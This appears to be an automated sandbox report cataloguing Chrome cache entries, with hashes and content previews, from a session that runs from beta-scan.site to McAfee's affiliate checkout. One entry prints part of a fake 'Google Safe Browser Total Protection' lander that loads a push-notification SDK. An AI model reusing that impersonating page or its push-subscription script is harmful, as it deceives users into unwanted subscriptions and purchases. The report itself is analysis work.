URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/740246542/?random=1727968793205&cv=11&fst=1727968793205&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view%3Becomm_prodid%3D663%3Becomm_pagetype%3Dhome&rfmt=3&fmt=4
Preview:	window['google_noFurtherRedirects'] = true;

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 604 x 700, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	62170
Entropy (8bit):	7.958145478270603
Encrypted:	false
SSDEEP:	1536:Gxz5108NUT1xzxNbsFwB2cz7xKCCnnJ9lQqu0jawa4:MAgUT117YF02cz6ZawT
MD5:	2F20B943FB85C967B0E62A55AFD65EB0
SHA1:	398B4C90AA21BB2354A11BB9052B23749889FCDC
SHA-256:	7AF51285764A76C749FF28D46FAB0DA1B9A7A89F0DE0817C4447413AA09347C9
SHA-512:	DCB6C663208303E1967496F6519F8393E4FC5316EF21B81B76EB2F0CD5F9A099A34F807743DBFD4674089E410E7BE8EDC1D3242124E9693B9D1D0C82ADF8FB8E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:Xa2....orNT..w.....sRGB.........IDATx...w.dgq/._...a.&e..`.L.........`l....1Q.6...r_...q..'.1I...t.cc0.&.P..jw'v...S..qN....U...~>....>.N=.T...~..~..%Y..w;.t.,...\| .2.......B..!...V.}...0.&... ........s.1..cn...3.~&../..P3#2@.o.......y..8E7........jF&..uY]..M.!.".....EE@...Pq..H.H......k.1..s4..;$.6.....N...!QF.#tC.Y....%$/d...X.{r..R.?8.....v.:.... ...9,...xd1 ..!..I.../c.1..+....`.H......L...DJ.H@^.a..0W.zu..T..P,...D..........5.\.V^t.....o.-.}.@o....57...K.r....c.1G!!..;..p......"........a..E..(......E.=7w..7w.bB....._....A..{.....S......Vc@...-.e.1.c.x....NK.....!..LU..B..../}.....>qfX.~V..!.`....`.S..z....j.D......h@;F...^y...ei.sg.Xz....v:.}.....2..U...1..s..."3jf09.E.\Qbg5..R.^.3..`.Y/......}.[...E..A..F....7.......\...5".ni...,.'..G..I..Iw..%J}e.c....}...;7..c.q&.G.M......,.%.b.O......^.e}J'M......8.O...X.m....IV......P...G(...^.>i..:..$K_...w...k3.T.....Dn.'..;;..I7}Lr..1..cn.I-.t[)..... ..z...

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (782)
Category:	downloaded
Size (bytes):	458233
Entropy (8bit):	5.116221130902113
Encrypted:	false
SSDEEP:	3072:jsb1wE4iQd23uvCCqZWNu6RNk6bCCFtIAgEe:gbT4iQd23uvCCqZWNu6RNk6bCCFt3De
MD5:	106DD4E51E5E8DF83DEA7DD8E0BBA754
SHA1:	73B3A3D244A8CD8D1C2645935F01F6279A80365B
SHA-256:	9CABEC45D2D43EFB3A79A33A7F3389F3D74E2BD9B754B64D430A6118893DD7FC
SHA-512:	332CEE9A16D64A1F8DC11187B6AB5B9C2B02E724C5A412FF3E5BECEE5AE1F6A47588D821D190B1FB01087F25B188E014C2D091E12092DB4A061C2AF940A1356E
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/theme-ecommerce-cart-brand-refresh.min.css?ver=39
Preview:	/!. Bootstrap v4.5.0 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors. * Copyright 2011-2020 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#ff1c1c;--secondary:#53565a;--success:#0bd175;--info:#00aeef;--warning:#f90;--danger:#f1342f;--light:#f8f9fa;--dark:#343a40;--outline:#c6c6c6;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:"Poppins",sans-serif;--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}.,::before,::after{box-sizing:border-box}.html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)}.ar

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1842
Entropy (8bit):	7.844880044441599
Encrypted:	false
SSDEEP:	48:CpBmStVyR9tjRq82OyNFQVYhMyTkRJO05Z:OuRP9q82OyNFQVY3CJOaZ
MD5:	C69C796362406F9E11C7F4BF5BB628DA
SHA1:	E489CE95AB56208090868882113D7416ABF46775
SHA-256:	4DAC0026FBFA2615DCE30C0AF12830863FE885F84387A0147B9E338F548D5D82
SHA-512:	D3AD560ED0FD29BE7D2CC434694F09E5A6FBEA8B29C0611AECB54A1B73B4D722C53F42A19DAE9E3D5D358444E50FB8FFFBC39D67CE751BDBC8C861F6F95D3162
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Uw.X...........b.....pb.Sfff.6....3o.wvF.(..r.u..9_\|...Is%..D......Xz.c....;...y;.....&#.l......H...X..s..]}..5`aZ..D.m....uk.c..i.\|.H... I#yB.7.0..._E.".h..Xt.....9.4.......0:y.....F.ua^.\|.....K..G..b&2;.z."...B/l$..s3.@..G..Z..`...p..EUU.hni...aZZZT......."...H.Z.....H....<..g.......U.........f."../...Gg...$....<YTU.p.....ND"$^.5!..@.8....Nhj.f.]......"..B..i..,...oh.5.....F.L........;"C...bO....Qa.G..!.....4.._....l..N.].....g...PoD....1r{......X.1..!.....}.o....=..^6i.{.......9`i...\~...Dyy9..`..D...n>.....7:.....1...t.(.D.=>....DH.0...K.Mx....,....$..1.1.P.T.............@'..6...Kv..e...D.?.X...k.2..\|l.$m&...K/.c......Vn....V ...`I......8al.zT.=..+Wr..%?.X.`..g....,..[...nc..:!..$.@2..3.\|....sB...&...a.<..}).zX.Q.)5....X.1..bk.....Vn...C#.c......mx.=.[...,.r.G....OMS....e.06.#.+..8Fne......B!...%..,........W...*.F..x#.Vv....I..c(...x5..u.....`hP.......&>......8...D#Cg.v.{Hyb.v..8.K7X`.....\|O.z.

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 12 x 12, 4-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	190
Entropy (8bit):	5.590572953266254
Encrypted:	false
SSDEEP:	3:yionv//thPlmB+4llOfgMnE2nenK93ivPs2/lRMlsLtsHswVFpBVU/GBjLHlrx/+:6v/lhPoPllOfBEKAvPs2/lRksRMFK/G4
MD5:	CBCDD444E2F65F4589EAE1C125453A6B
SHA1:	92E8D430B4A55FCC1AE0FECB04FEE7E9F44BDC26
SHA-256:	01C640E1BCCA552202589D9F4C709B3B7138C1EF470FEC1EA438EAE1577AB5BA
SHA-512:	68DFE5370E1A644729B54074DC7EFF1C951A5293750D11D2A7AF898D04F97C5754BF01AB18296EF5D30C635815F6D952F8426A36844643EBF74D53039272F883
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/remove_icon.png
Preview:	.PNG........IHDR..............[A.....PLTE............................tRNS......o..S....orNT..w.....sRGB........8IDAT.[c.2```vdpSf`0J.".f5e. ..@"@.P^..Q.A......Q..(.0E..2.<..{....IEND.B`.

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 480, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	29330
Entropy (8bit):	7.832826180907537
Encrypted:	false
SSDEEP:	768:58bMTWFk8LANxcbbT6W2wo9t7FeikwFv3lZ3ic:5WMTMk8LHbbOWqt7FkwF
MD5:	70B899933D36B1F313047EC87B8C5A26
SHA1:	10D479A11318EF14FE961CB4D027EAAF600F489D
SHA-256:	0C92A9571C060FB4D90E6B90B7B5099221EDA1756580CE6EC20146029D323CB7
SHA-512:	C6EBE98A0C283B2A94E26997AA9FB09D5FCC5149B45553185D6A909404ACD5034FEA880C49AB0B5176BAC323E4E0BAC112F83CEB98DD0616EE055BEC8220C490
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/img/flags.png
Preview:	.PNG........IHDR...............%.....PLTE..........8...L.....&....3..'}.(6..4................\|<.....2..&.&..6..7...B.jN.&-..Iu......jA.r.....9.....V...T.k.....y]..`....$."B.....!!.2y.(#.h/.f......'..A...@..I...P.....J..='...../u...f.08....,.Y....~c...Q.........."..?4!]6..".!=.\|.P.....9v...so.=.........7..!.C..........!N-.)4.4..'.T.........8......e....,..O..8:w&<_........9........Q.").h....j......hh........2.=.~.{....B~.~...........S9.....qi.8I......Z../0.o.@.2...NSP...........,.a....Kl.......QV....;R..yz.DK......7E.....Q^....%b......ksf.u.s..mM5..g....X...gr...{.v....N%....Z....&....>od...".n........}.2Ql.7:95..%h..H.S..m.F..VE.r...=..g.$........8..}..G.].N...Lb.PeoQe880........]..$my..$#.z......P..{%.qr...<..\Z}.BIy..bJ..N.xd....C.VR...U.G2n-.x.2M..g..f.:7.'Lm-j7.......tRNS.!Y.F/....o<IDATx..yL#U...."...jb...Eb..V.u.H#q...;Q+!..[.hCmh..T...T...B..P..3.....XcUP4.jQ...1.....c.^.^....t..f....}.YBAAAAAAAAAA...y..S.. T,7.A..<W....Z.$AX...S..]

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	8558
Entropy (8bit):	5.074385739632747
Encrypted:	false
SSDEEP:	192:rOB/83ybCx7VO1eijlCL4i+OE/OQSAWJh0rhu:e/8Cb7eiZgcOE/OkWJh8u
MD5:	AB19E451B2B2231F0429052F98D1D52F
SHA1:	1CD9A3DA0AE3D4BD631B20AB501DFD8AB470B776
SHA-256:	FBA5BCF8CD1CA11F2AF68ACD1A7908CF9D9B412BD505A2F9069238A9FF3A6148
SHA-512:	8F80C55AB7A9A4B867D2293F1D041F89788CC1B937342B0F8D35824A134CFCBDFAB312A7D5BCCCFDBE8B5306B6E88D1B93D448D60468C334E6CE9F0FB7D49C1E
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
Preview:	<!Doctype html>.<html>..<head><base href="landers/gsb/GSB/index.html">...<meta charset="utf-8">.. [if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge"><![endif]-->..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />..<title>Google Safe Browser Total Protection</title>..<script async data-cfasync="false">. (function() {. const url = new URL(window.location.href);. const clickID = url.searchParams.get("click_id");. const sourceID = url.searchParams.get("source_id");.. const s = document.createElement("script");. s.dataset.cfasync = "false";. s.src = "https://sdk4push.com/f/sdk.js?z=1211351";. s.onload = (opts) => {. opts.zoneID = 1211351;. opts.extClickID = clickID;. opts.subID1 = sourceID;. opts.actions.onPermissionGranted = () => {};. opts.actions.onPermissionDenied = () => {};. opts.actions.onAlreadySubscribed = () => {};.

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15957)
Category:	dropped
Size (bytes):	80344
Entropy (8bit):	5.428853129198006
Encrypted:	false
SSDEEP:	1536:hqR/DFMiogPGTgP7F0xLf4o45/GkQb8lH:gpDFM07Fzo45SbwH
MD5:	39268835B0F224EB4038DA26C3DFFBA8
SHA1:	786D2A7E1ED31B77282599FC5C651D55B849BCFE
SHA-256:	E0353CA7E0AF5659A3500B00749D5B2141F4707C2783016CBC544962941FCD49
SHA-512:	C32C222BAC5EC486560F0372136AE73513ADF8CC2EB762F3658D0C7928CA78C02ACF74B1747CE0AD9B321B52810969B23080936E1D7884B8B02122AD3609A0BC
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.356 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..var s=s_gi("mcafeewwconsumermain").s.account="mcafeewwconsumermain";s.trackDownloadLinks=true;s.trackExternalLinks=true;s.trackInlineStats=true;s.linkInternalFilters="javascript:,home.mcafee.com,cart.mcafee.com,promos.mcafee.com,www.mcafee.com";s.linkLeaveQueryString=false;s.linkTrackVars="None";s.linkTrackEvents="None";s.usePlugins=false;s.currencyCode="USD";s.visitorNamespace="mcafeeconsumer";s.trackingServer="metrics.mcafee.com";s.trackingServerSecure="smetrics.mcafee.com";s.charSet="UTF-8";s.expectSupplementalData=true;s.debugTracking=(utag.cfg)?utag.cfg.utagdb:false;function AppMeasurement_Module_ActivityMap(k){function p(){var a=f.pageYOffset+(f.innerHeight\|\|0);a&&a>+g&&(g=a)}function q(){if(e.scrollReachSelector){var a=k.d.querySelector&&k.d.querySelector(e.scrollReachSelector);a?(g=a.scrollTop\|\|0,a.addEventListener("scroll",function(){var d;(d=a&&a.scrollTop+a.clientHeigh

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 499, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	15899
Entropy (8bit):	7.937573521877694
Encrypted:	false
SSDEEP:	384:om5A9ptl3xXtG3l+zpvjurGBu2TNrNBhE3:E9pxtG0Fjurn2TNrNBK3
MD5:	87EB2861CF06249DDC5A55D970B944A5
SHA1:	940CC3BD83FAEA4B59D59095248F5B828A41E8F4
SHA-256:	99A986E8CE32BA841487144ED4F6AF51C0BFF3DEF93A0DBAD66966579446BDFB
SHA-512:	FBD4451101CAA72CF739204B6D03F3653D6443E53203F7B0BE6300BC7F6235C00C9F11277625D5D508981046E497630EC337743F6744B148E0ED759CF24B4081
Malicious:	false
Reputation:	low
URL:	https://www.upsellit.com/chatskins/5948/Mcafee-TT-6-23-2022-extra10.png
Preview:	.PNG........IHDR... ...............PLTE...............844...=99...+''... ..............&"".........1........VV......C@@.........ROO...ebb...mjj......{yy.$$.................^[[......HEE.........................................ZWW....zzvss....""....mm.DD...VSS.............>>.99.......22....cc....00.,,......qoo....uu...............MKK....^^.JJ.....PP....gg.......PP............WW.@@.rr.II.......yy.bb..99.ii.........tRNS..c{...<EIDATx...A..0...n.E.A....@...\~.......@0...@0...@0...@0...@0...@0...@0...@0.c.ny..b0.K....AqX.q.p44$Ji.....h]...o.4%}3......:........@......@......@......@......@......@......g........r..yNw.<.........>.G.=....mN.=W.e;...i....N.`.s.y.k..n._......)...m..dg,v.+}.af.6.....T."....nE$...E.{.+{.....#_7....eO....H.....1..0....I 5....^g...@.R4.z....e.P.."...T..x.M..&.....T.L.6.B.?..5..'gK50.}..B....j.?+.NQ$U.....l.7{..6..p\z{d..I...y...z.`M..BB.....}v.@.\[....}...}.}EB@...*..\|..bgyg.......e... .2?...Ar.#4\|..DqE.4..l\|...........1lD.<

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5674)
Category:	dropped
Size (bytes):	19326
Entropy (8bit):	5.451497430745635
Encrypted:	false
SSDEEP:	384:JfNsImVVMFdWa9Yp+pJh2r0i2g3UmnbEqPd2P8A+:JfKViYp+TsV5bEA2P8A+
MD5:	C2FF8C2A47AEE47C19CB69CB3CCE5485
SHA1:	EFFEBDCC2DD44A6627C791C1973DDF752AD8AEAC
SHA-256:	E8CF26889C118E8FCFA3307262721927B415821FAE3997D5ADF6701382535E05
SHA-512:	B6C103D9579B499CCD1FF8B962E2DCA27103D088E6A0726392DC8F98676264850E5DF9E4B2650DDC6760700F39CA04E8DEF9518D3031389A89F313E462310E47
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.539 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id},md5;utag.o[loader].sender[id]=u;utag.globals=utag.globals\|\|{};if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb(

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7006
Entropy (8bit):	5.293469967936817
Encrypted:	false
SSDEEP:	96:Tl/Csl31QriKQT9fdti3AesAvaN1lHZ/CQFaCFtbp7:Tl/Csl3CriKQHtCUAvaN1z/CQFtR
MD5:	5567D9C52CD10A1EE810D774E6D1BB3F
SHA1:	ABCBC818A21CC4F08FA96CCCB5D039F8544EF57B
SHA-256:	95EA910A082767306C0455C9406FDA7A19763FFA8247B3FCA024A15BB4F95ACA
SHA-512:	EDE5A885756CD496CBF1CF6805CF582590C3CA485AF9A044FD04E99E12692C6ED43B595618D7B1CD84207CA4536DCA3992BED96616B982207B2F10D11C0DDE3E
Malicious:	false
Reputation:	low
Preview:	{"offers":{"6a99f253-6888-47ce-8b47-55b36a90c42e":{"businessRules":[],"planClientCode":"663_1YEAR_BASE_PAID_AR","packageClientCode":"663","arPackagePlan":{"graceUnitOfMeasureValue":30,"code":"5713e5c6-f16f-4bc0-9131-daa87e68254e","unitOfMeasureValue":1,"unitOfMeasure":"YEAR","graceUnitOfMeasure":"DAY","name":"McAfee+. Advanced - Individual 1 Year(s) Paid (Auto Renew)","arPrice":199.99,"type":"PAID","category":"BASE","arAllowed":true},"planName":"McAfee+. Advanced - Individual 1 Year(s) Paid (Auto Renew)","planCategory":"BASE","planExpiryDate":"09/22/2025","products":{"bankaccount_monitoring":true,"credit_score":true,"username_monitoring":true,"healthid_monitoring":true,"ssn_monitoring":true,"safe_wifi":true,"financial_transaction_monitoring":true,"vso":true,"personal_data_cleanup":true,"credit_monitoring":true,"mpfp":true,"financial_account_monitoring":true,"identity_theft_insurance":true,"secure_vpn":true,"online_account_cleanup":true,"mtk":true,"id_restoration":true,"dfm":true,"p

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	184
Entropy (8bit):	5.692870828469642
Encrypted:	false
SSDEEP:	3:yionv//thPl9vn0Xl/jgSNlBNWF6KHtRMlsLtsBNrZGEIBZh2qwRmZAvqjLeGtlz:6v/lhP2l/USNLCtRksReGEItpAvYNtlz
MD5:	B41E68F97C86E23A030E2B22A2FE321E
SHA1:	5DFFFD3D4424BAD757A33EC74657187B94409921
SHA-256:	71435FFDC73B1EAEC538ECA07A5F6FE02821B6C6517FD5C7FC7DFD7EC0B5BB2F
SHA-512:	D37833213304472E4F5448CD615C4FD13AE37472DF97CE79C4977400D3AB042EE24549A58545577841EF02A0AB74546119D57E072C831A244CF5D2FAC4F124A8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............b.......PLTE.............V.%....tRNS. .y./9....orNT..w.....sRGB........>IDAT.[c.a`.a.d..<......0.=.....3..!o'........%.J.............5U.......IEND.B`.

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1599
Entropy (8bit):	5.271172986659023
Encrypted:	false
SSDEEP:	24:hY6svD+6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z8xD96S8f:3qD+2+pUAew85zsD95A
MD5:	8ABD7B0F3A5B80CB9A7E080C07356870
SHA1:	E4A74852EB2F931049A506D261D1E7705CE44AD4
SHA-256:	AB0A45F76497AFCB898CE664AF39EED09C2E445B426050BF8C7FBABF84D648C5
SHA-512:	A7222FB483BADF61EE44C63BCA9E9732373EE8D79E5DAF70E25DE1BD719CA193065208AC7CB5527B816C94995A6A5E2721BAA960E8EC91B2281646DE3C2662AD
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 404 (Not Found)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 49, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.614933915471836
Encrypted:	false
SSDEEP:	48:nR5PVR6hHz7cgbe9cOG5yDImHgM+iGh5g:nR59whTfe9cOG56ar7g
MD5:	25BE0EAF69703BC062BF0B52671599FE
SHA1:	14703D46E54118837FC05B13C5C33B4E80491739
SHA-256:	AC014826BCB1B466FD1AD7EDCF1C809A5D75803FFC5322715B121F3B2D20B78F
SHA-512:	6F3917912612450CD0800920FB2C2269E5CCC77677F20C0AEE75E82343F7200004BEED5B75CB93E3C98E695A7F217759014D98EE9AA1F600D0A43328D275AB05
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...1.............PLTEGpL.....9..5.......................G..U.....)........&..,........1..............9..:..8..'.....@..<..C..1../..>..(..3..K.....J..G..L....8..E..G..M..N..@..-.. .....#.....'.. ..)..-.....,...../.....-..G..5..0..1.....O..7..J........4..=..:..7..L..H..H..I..M..<.."..D..?..;..3.....6..%..!....K..M..(..G..$.....A..N.. ..%..4..J..+.."..%..)..-..&..+.....A..(..(..2..0..3.....0..1..F..B..-..)../..)..%..-..I..J..M..N..M..4.....+..K..?..... ..O..N.....B..H..B..G..K..K..O..D..I..B..J..F..>..G..D..E..F..C..D..H..E..A..F..L..M..P..K..N..M..I..&..J.....+..-..&.....".....#..:..;..$..(..)..!..%..&..+..'..%......../..8..6..4.......+..(..+..3../.....$..).....$..(...........%.."........%........L..#..K../..G..M..D.....)..&..+..0..<..@..J....-..%..5..$..1.. ..6..=..?.."..(.....P1....tRNS..... ........!......p."...D...~.K..N .7.)....gkGg..4.dpr.#..^.A\|.D........\|..~.."..m.\.........$578.(....&.P#i.h....w.hx*7!..n..r.Z...96."G.11.....r...L6.C.db.

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 81 x 52, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1228
Entropy (8bit):	7.500167276348907
Encrypted:	false
SSDEEP:	24:AGH2r5o5NF22UvTX6Ns6pmnIbm7reQYPZwTGRmFEKK8tKdYC8II:AGWr5oTF6X6G6pmhsZiEs7y58l
MD5:	988030BD9E0EFF8313542146C2552FF7
SHA1:	2C8192BF413571DD0D09E622697FED9F9ADCE1FA
SHA-256:	55FD966195CC28B8977D93204B3E44372B8668C8216CC1144FC80F2540BE135B
SHA-512:	822ADBF95EF5F9BCF616E217A5A3464DF0CAE3214210750B54B9E904CF354839E3CE6ADCB84BF6DC676884DB5EAB2C0933A43F0B6B288D9B7351DC149CDD324D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...Q...4......h$.....PLTE.....................................................................~.....s..g..f.._..j....T..v..U..}..U..j...2..f..X..e......sm.\S..d[}.........s............J..............~..h........g......?....._..t..~..(.....~.ld.........................L..P..[..N..@..`..J..G...e......d[.^..w..j..?...tm.....h..r.....v..t.......}u...tl.....sl.......lc...........................mx.0.`.....tRNS.0y....Ha..$my<............................................................................................................................0x`..x.?:}i....orNT..w.....sRGB.........IDATX.c````dbf..`ecg......fN..4.............&.r1.R.D.>....>j".M........! .........KH..Ib5QJZFVN^AQIYEEUQMN]CSCK..y:.z..bb.....XL4.22615S2W....V....wp.k......)f..a"..................@`P0>.CB......t......#.... FA.L!.O!.!....N(!..-.#..e....SR.RR...32q......I.9XL4.2.R....337O5..(.eb....X!v.......K...S.T..Ep9.SL/..D.RC..

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 107 x 134, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	905
Entropy (8bit):	7.556130927610045
Encrypted:	false
SSDEEP:	24:xsGGTV+MVJ2JwynxdFvuHPSTH4HljKsP3LGexayg:gjJIwy5vuKTHcP7Jxaz
MD5:	4471E13F932C54CF940B85A9AD7E7F45
SHA1:	3DFF5664C4C7C98018AF35B597DE74A98638F7E5
SHA-256:	4627C9AFF5B5F6A1474B9618FCF3F299A511482DF777E4613BE8BD4C71628129
SHA-512:	7C0D92F03FFB96EFB3B6CCD14E9C4E21EB56782F107A136D2444A036D3B5E60CF6E859EA0F85F3338BCFAC0D068BF9CA0741F36A04835D5D1AC89B1949797E1B
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/assets/cart/dc_map.png
Preview:	.PNG........IHDR...k..........b....PLTE.... #. %. $.!&. $.!&.!% ."'.!&).3FJN............ptwTX\...bfi.................TY\...8<A...FKO............)/4FKN8=A7=A......qtw................"....tRNS.P`..@. p.......orNT..w.....sRGB.........IDATh...kS.@................_.&$N.M..g..~hf.!..m.jz<....<....aG.aX.0......acV.. ...r...a..\|..a.N.#. ...%..&.\..a.t.=. ...2...a.,K..e....0J..F...Y..9...g.1N..ce.0f...f)0~...dI1Q...e.0i...g.1E...d11]..Sfq0u...g.1.,f.E..H.U....c.Y%.4...0.f1..v.........[`...d......[.l..m....1..}.~.'..-.4..W.!_>"~.n^......]...rl........Sc.u._.+.7.%.F."/.w...%...........^Bl.n.....nXo.w......Y......&.K.......r3.Wk......0.m..%n....C.O..l~....W...9..S..2.+Q.aE...@Y.Q(.0.e.F.,..>.N..8.2.E...&.K)...8L@I.D.,LF... LL....7LC1.t.+LIq...=LO..,(b..E.3.(aV.!...R.0Sj>.....f...0.j*......9Q....0?j'../.z..Lm.yS[a....j.....b.>,..aaTU..Q..?....gw.....IEND.B`.

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1048)
Category:	dropped
Size (bytes):	2158
